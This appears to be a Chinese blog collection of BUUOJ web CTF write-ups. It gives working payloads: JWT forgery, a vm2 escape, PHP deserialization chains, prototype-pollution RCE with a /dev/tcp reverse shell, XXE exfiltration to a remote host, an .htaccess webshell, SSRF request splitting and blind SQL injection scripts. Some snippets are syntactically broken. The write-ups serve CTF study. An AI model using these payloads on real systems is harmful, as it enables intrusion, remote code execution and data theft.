buuoj-wp-web01

[HFCTF2020]EasyLogin


注释中写了路径直接填了根目录,所以可能有任意文件读取的漏洞

koa框架
关于koa的目录结构

图是偷的
在controllers下的api.js找到关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

需要让username=admin,之后再访问/flag就可以得到flag

1
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

jwt伪造

对于

1
2
3
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

对于sid>=0:js弱类型

[]>=0 //true,数组
“”>=0 //true,字符串

对于sid < global.secrets.length
注册以初始化全局变量secrets

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInBhc3N3b3JkIjoiYWRtaW4iLCJpYXQiOjE1ODg3NjI1NzN9.3IgFzoext6mvEihGuoEvscbdcRXtk9Abw1MolCaMeb4

这样的形式代表的是base64(header).base64(payload).base64(signature)
当header中的alg为none时,后端将不执行签名验证
此时形式为:base64(header).base64(payload).

/api/register在body传入json值注册用户,得到token回显

1
2
3
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MiwidXNlcm5hbWUiOiJhYWEiLCJwYXNzd29yZCI6ImFhYSIsImlhdCI6MTU4ODgzODQyMX0.gqdlrjOgx2xBp-LA-0MVsw6LgGppnkp6tmmDiYQUDWw"
}

去掉签名算法

1
2
3
4
5
6
7
8
9
{
"alg": "none",
"typ": "JWT"
},
{
"secretid": [],
"username": "admin",
"password": "admin"
}

这里用base64encode就行

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiYWRtaW4iLCJpYXQiOiAxNTg4ODM4NDIxfQ.

在登录界面body传入username和password值,头中添加authorization传入token值
成功后访问/api/flag

[HFCTF2020]JustEscape


执行命令?注意编码?不是php?
看一下run.php

1
2
3
4
5
6
7
8
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>

有个eval()
利用异常抛出的语句确认后端使用的语言
run.php?code=Error().stack

js中捕获异常堆栈信息—Error.stack

得到

=>1.nodejs 2.vm2
Node.js 常见漏洞学习与总结
vm2-3.8.3逃逸issue

1
2
3
4
5
6
7
8
9
/run.php?code=
'(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';

没什么反应,可能过滤了一些词
exec constructor process prototype "" +
模板字符串
可以利用模板字符串嵌套来拼接,用反引号来代替双引号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/run.php?code=
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat ../flag`).toString();
}
})()
```



# [网鼎杯 2020 青龙组]AreUSerialz
中间因为补考鸽了好多天阿=。=,看一下错过的网鼎杯
str传值后,要满足is_valid的条件(基本上都能满足)
最终目的是read()读取flag.php

类里有protected private public三种类型的参数
[一文让PHP反序列化从入门到进阶](https://xz.aliyun.com/t/6753#toc-2)
public参数不变,protected会变成 `%00*%00参数名`,private `%00类名%00参数名`
\_\_construct()会先执行
本地测试了以下,在类里魔术方法的执行优先级是大于其他方法的
如果说想要执行read,在read被调用之前就要使op==2,但是在这之前会首先执行__destruct,将op改为1
但是注意到这里__destruct()里的判断是`===`而write和read里的判断是`==`,可能是利用弱类型来绕过
[php弱类型安全](https://www.smi1e.top/php%E5%BC%B1%E7%B1%BB%E5%9E%8B%E5%AE%89%E5%85%A8/)
可以利用2e0绕过

因为payload里会出现%00字符,所以需要绕过is_valid()里的判断
php版本是7.4.3,`php7.1+版本对属性类型不敏感`,就直接当成public即可

<?php
class FileHandler {
public $op=2e0;
public $filename=’flag.php’;
public $content;
}
$a = new FileHandler();
echo serialize($a);
?>

1
2
```
O:11:"FileHandler":3:{s:2:"op";d:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

[网鼎杯 2020 青龙组]notes

给了源码
用的express框架,是node.js
在status路由下有个exec()函数,先留意下
还有一个不咋见过的undefsafe()
undefsafe()
Prototype Pollution in undefsafe | Snyk
文章给的poc:

1
2
3
4
var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);

找到利用点

1
2
3
4
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

在/edit_note里传入
id=__proto__,author=bash -i > /dev/tcp/ip/port 0>&1,raw=aaa
之后访问/status使得payload能实现
不过端口收不到任何东西是什么鬼阿
o,原来是要用它提供的服务器来连接的

[网鼎杯 2020 青龙组]filejava


传入文件后可以得到文件所在的路径
有任意文件上传的漏洞
任意文件下载漏洞

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则

POST /DownloadServlet?filename=../../../../WEB-INF/web.xml HTTP/1.1读取servelet信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>
```
`/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中`

> 对于`cn.abc.servlet.DownloadServlet`来说,相对地址是`WEB-INF/classes/cn/abc/servlet/DownloadServlet.class`

下载.class文件进行反编译
在uploadservlet里有
```java
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
final Workbook wb1 = WorkbookFactory.create(in);
final Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
}
catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}

利用 EXCEL 文件進行 XXE 攻擊的漏洞分析
当时是给了hint?buuoj上没有/flag的hint
新建一个excel-.xlsx文件后,改后缀为zip进行解压,修改[Content-Types].xml的内容

1
2
3
4
5
6
7
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM 'http://ip:port/xxe.dtd'>
%remote;
%all;
]>
<root>&send;</root>

xxe.dtd:(放在根目录下)

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:port/%file;'>">

修改内容后把文档压缩成xlsx文件,上传
之后查看apache的access.log
但是还是没有收到

[XNUCA2019Qualifier]EasyPHP

利用file_put_contents在文件中写入shell
$content过滤on html type flag upload file
$filename使用[a-z.]

由于题目服务器中间件为apache,因此想到了传.htaceess来解析php

重写覆盖.htaccess文件

预期解

include_path用来设置include()或require()函数包含文件的参考路径,当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件

当文件中包含一个不存在的fl3g.php会报错

error_log可以把错误日志保存到指定的目录中,log_errors为1开启错误记录

报错时会把错误信息保存至某一文件中,利用php_value来设置这个文件

.htaccess中出现无意义字符再访问当前目录文件服务器将500

上传的.htaccess要注释后边的\njust one chance
apache的规则是注释要另起一行
\有拼接上下两行的功能
.htaccess只支持单行注释,可以利用#\来注释掉后边的字符串

error_log的内容默认是htmlentities的

可以使用utf-7编码绕过

.htaccess:

1
2
3
4
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[a])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \

访问index.php之后会留下错误记录再写入新的.htaccess

1
2
3
4
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

zend.multibyte 1 #进行编码
zend.script_encoding “UTF-7” #指定utf-7编码

再次访问index.php向a传入payload

非预期

利用\拼接上下两行来绕过对file的检测

1
2
php_value auto_prepend_fi\
le ".htaccess"

auto_pretend_file的作用也是调用第三方文件
可以通过errordocument 404来自定义404界面,输出payload回显

1
filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20system(\'cat%20../../../fl[a]g\');?>\\

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问(或不存在)的属性(protect private)读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

Modifier():include()可以包含flag.php,需要将对象调用为函数时触发invoke()
Test():利用protected $var调用
get()返回一个函数
Show():echo一个类触发toString
我们的目的是得到include(flag.php)并通过
toString打印出来

给\$this->source传入new show(),触发toString(),此时因为Test()里没有\$source可以访问所以会触发get()
让\$p=new Modifier()触发__invoke()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";

}


class Test{
public $p;
}

class Show{
public $source;
public $str;
}


$a = new Show();
$a->source = new Show();
$a->source->str=new Test();
$a->source->str->p = new Modifier();

echo urlencode(serialize($a));

?>

[ISITDTU 2019]EasyPHP

这题咋这么眼熟….
给了源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

1
2
3
4
5
6
7
8
9
<?php

for ($ascii = 0; $ascii < 256; $ascii++) {

if (!preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', chr($ascii))) {
echo chr($ascii);
}
}
?>

打印没过滤的字符

1
! # % ( ) * + - / : ; < = > ? @ A B C H I J K L M N Q R T U V W X Y Z \ ] ^ a b c h i j k l m n q r t u v w x y z } ~

PHP不使用数字,字母和下划线写shell

count_chars — 返回字符串所用字符的信息

第二个if语句的意思是$_的不重复的字符长度要<=13
取反构造phpinfo();进行测试

1
echo urlencode(~"phpinfo");

?_=(~%8F%97%8F%96%91%99%90)();
有回显
接下来构造payload探测目录找flag
目的是?_=print_r(scandir(.))

1
2
3
.->%D1
scandir-> %8C%9C%9E%91%9B%96%8D
print_r-> %8F%8D%96%91%8B%A0%8D

长度超出限制
通过异或减少不同的字符,我们需要保留的是();~%ff还可以留有8个不同的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
table = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original 
#count_char("scandirprint_r.",0x3)==11
#[t,d,_,c,p,n,a,.,i,r,s]
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] #when len(temp)==11
temp = []
for d in table:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

整理之后有

1
?_=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%9e%9b%9c%9c%9b%8f)^(%8f%8f%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

回显

Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )

所以有 readfile(end(scandir(.))) show_source(end(scandir(.)))
改一下脚本的table和result

1
2
table=[0xa0, 0x88, 0x8a, 0x8c, 0x8d,0x90,0x91,0xd1,0x96,0x97,0x9a,0x9b,0x9c,0x9e]
result=[0xa0, 0x88,0x8d,0xd1,0x97,0x9a,0x9b,0x9c]


1
?_=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

[GYCTF2020]Node Game

node.js express

1
2
3
4
5
6
7
8
9
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file); //渲染pug文件
res.send(html);
});

上传pug文件,在/template/下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

upload路由判断ip是否为127.0.0.1
根据mimetype拼接路径,可控
可以通过/uploads/../template/上传文件到/template/
pug文件包含flag文件pug-包含include)

对于直接使用的 Web 应用,必须使用从TCP连接中得到的 Remote Address,才是用户真实的IP

用了remoteaddress ,ip不能伪造,考虑ssrf
SSRF

core路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
//访问本地,q可控
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}

}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

利用q来访问只允许本地访问的file_upload路由

在file_upload里上传.pug文件,修改content-type,利用action渲染pug文件
通过拆分攻击实现的SSRF攻击

程序在底层处理的时候会舍弃高位的字符, 只保留低位的字符。

Nullcon HackIM 2020 - split second

node.js命令执行payloadglobal.process.mainModule.require('child_process').exec('ls')

抓个.pug上传的包来构造数据

exp from guoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Content-Length: 291

----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="abc.pug"
Content-Type: ../template

doctype html
html
head
style
include ../../../../../../../flag.txt

----------------------------919695033422425209299810--

GET /flag HTTP/1.1
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
r = requests.get('http://http://11677f6e-fb23-401a-b5da-eb66185d1871.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
#url编码
print(r.text)

最后的GET /flag只是为了闭合HTTP请求

访问/?action=abc

出题人wp
出题人给的exp是通过命令执行的方式来实现的,在pug里可以通过 #{payload} - payload 来执行pug文件里的命令

[GYCTF2020]Ez_Express

注册完之后看源码有注释可以下载www.zip![](https://md.vidar.club/uploads/upload_0e3cd44933fa2cfff69f15365340127c.png)
原型链污染 rce
clone()在/action里
Node.js 原型污染攻击的分析与利用
JavaScript原型链污染初探
clone()在/action里

该项目使用了ejs作为模板引擎,该模板引擎中通常由eval等操作用于解析
express框架,支持Json直接传输数据,并且接收的参数为req.body
toUpperCase():字符”ı”、”ſ” 经过toUpperCase处理后结果为 “I”、”S”

源码注册限制了ADMIN
让用户名为ADMıN就可以绕过限制注册一个admin账户

提示了这个
Hello,ADMIN ,flag in /flag
接下来应该就是rce
先找一下利用点

1
2
3
4
5
6
7
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});

发现源码里的outputFunctionName为undefined,那应该就是这了
content-type需要改为json

payload:

1
{"lua":"aaa","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.require('child_process').execSync('cat /flag'); //"}}

[SWPUCTF 2018]SimplePHP

打开是一个文件上传的界面
源码中有提示

1
<!--flag is in f1ag.php-->

所以是要想办法读取f1ag.php的内容
先找找源码
上传文件成功之后在查看文件里找不到传过的文件,看看url发现
/file.php?file=
感觉是让我们往后面加东西,试着加了index.php回显了源码
class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

pchar反序列化
利用 phar 拓展 php 反序列化漏洞攻击面

pop链是C14r中的echo触发toString,触发get()
只做了后缀名的检测
修改后缀名绕过$allowed_types

phar文件的扩展名是独立的,如果evil.phpr被重命名为了evil.jpg,上面的触发phar反序列化的示例仍然有效

上传到服务器后利用file_exitsts使用phar://执行代码
利用点是

1
2
3
4
5
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

phar.phar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
class C1e4r
{
public $str;
public function __construct($name)
{
$this->str = $name;
}
}

class Show
{
public $str;
public function __construct($file)
{
$this->str=array(); #创建数组,后面需要利用str['str']
}
}

class Test
{
public $params;
public function __construct()
{
$this->params = array(); #需要利用params['source']=flag文件路径

}

$b=new Test();
$b->params=array('source'=>/var/www/html/f1ag.php);
$a=new Show();
$a->str=array('str'=>$b);#触发test的__get()
$c=new C1e4r($a);


$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($object);
$phar -> stopBuffering();
```
上传,截包改后缀名
根据`$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"`
得到上传的地址

访问`file.php?file=phar://upload/66a453d5efb51fb0aaafc7840b7e5915.jpg`
~~怎么又file dosen't exist了啊./upload/目录下明明就有啊,拿了别人的poc试也是不行....~~

# [网鼎杯 2020 朱雀组]phpweb

func参数输入测试回显出了这里用的函数是call_user_func()
给了index.php的路径,读一下
```php
func=readfile&p=/var/www/html/index.php

回显如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}

class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

看到类联想到反序列化(这里卡了蛮久的…不太应该…)
可以利用unserialize函数
payload:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
}

$a=new Test();
$a->p="ls /tmp/flagoefiu4r93";
$a->func="system";
echo serialize($a);
?>

路径是猜的,=。=,感觉要么放在sys,要么放在tmp,要么放在其他的什么地方就试了下
linux命令可以用find / -name *flag*

[Black Watch 入群题]Web


热点跳转截包得

1
GET /backend/content_detail.php?id=1 HTTP/1.1

可能在id处存在注入
SQL注入ByPass的一些小技巧
测试:

1
1^1^01^0^0

当id=0时返回[],而id为1时返回数据
利用这个特性进行异或注入

利用id=1^(length('show')=4)检测是否过滤某些字符
过滤union /**/ --+ 空格 ; and " {} limit

使用注释绕过,/**/
使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用()包围,并且两端可以没有多余的空格
使用符号替代空格 %20 %09 %0d %0b %0c %0d %a0 %0a

ord():ord() 函数是chr() 函数(对于8 位的ASCII 字符串)的配对函数,它以一个字符串(Unicode 字符)作为参数,返回对应的ASCII 数值,或者Unicode 数值
string substr(string, start, length)
LIMIT 0,1,从0开始取1条

我的表名爆破好像有点问题,不论输什么都回显[]
但是同样的payload爆列名却没什么问题…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import time
import urllib

urll= 'http://a1b1ea65-d14e-445c-a719-c623ba26a122.node3.buuoj.cn/backend/content_detail.php?id='
mark='[]'

'''
def table_name():
#list = []
# for k in range(0,4):#表个数
name=''
for j in range(1,20):
for i in 'sqcwertyuioplkjhgfdazxvbnm_0123456789,':
url = urll+"1^if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))='%s',1,0)" %(j,i)
r = requests.get(url)
if mark in r.text:
name = name+i
print(name)
break
#list.append(name)
print('table_name:',name)
table_name()
'''
'''
def column_name():
#list = []
#for k in range(0,3): #判断表里最多有4个字段
name=''
for j in range(1,40): #判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm_0123456789,':
url=urll+"1^if(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1)='%s',1,0)" %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
#list.append(name)
print ('column_name:',name)
column_name()
'''

def res_name():
name = ''
for j in range(1,20):
for i in 'sqcwertyuioplkjhgfdazxvbnm_0123456789,':
url = urll+"1^if(substr((select(group_concat(username))from(admin)),%d,1)='%s',1,0)" %(j,i)
# password from admin
r = requests.get(url)
if mark in r.text:
name = name+i

print(name)

break
print('res_name:',name)
res_name()

Black-Watch-入群题-Web
贴个别人的exp
那我这个if语句是不是有点多余…
他是利用ascii的大小比较直接出的结果

[GKCTF2020]CheckIN

直接传个一句话木马上去,蚁剑b64编码器连一下

执行readflag就可以读到flag
php7-gc-bypass
蚁剑脚本传到/tmp下

include('/tmp/exp.php');

在脚本中改为

1
pwn("echo `/readflag`");

[GKCTF2020]EZ三剑客-EzNode

这个和NPUCTF的验证🐎一样的
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
//delay秒后执行next()
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
//1s后执行timeout
} else {
next();
}
});

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

这里next()的意思是执行下一个路由

我的理解是如果说delay>1s,那么后面的setTimeout()函数就会执行,也就会出现回显”Timeout!”
我们需要让t的setTimeout()更快执行完毕
从setTimeout()入手
setTimeout

当 delay 大于 2147483647 或小于 1 时,则 delay 将会被设置为 1行

saferEval_issue

[RCTF2015]EasySQL

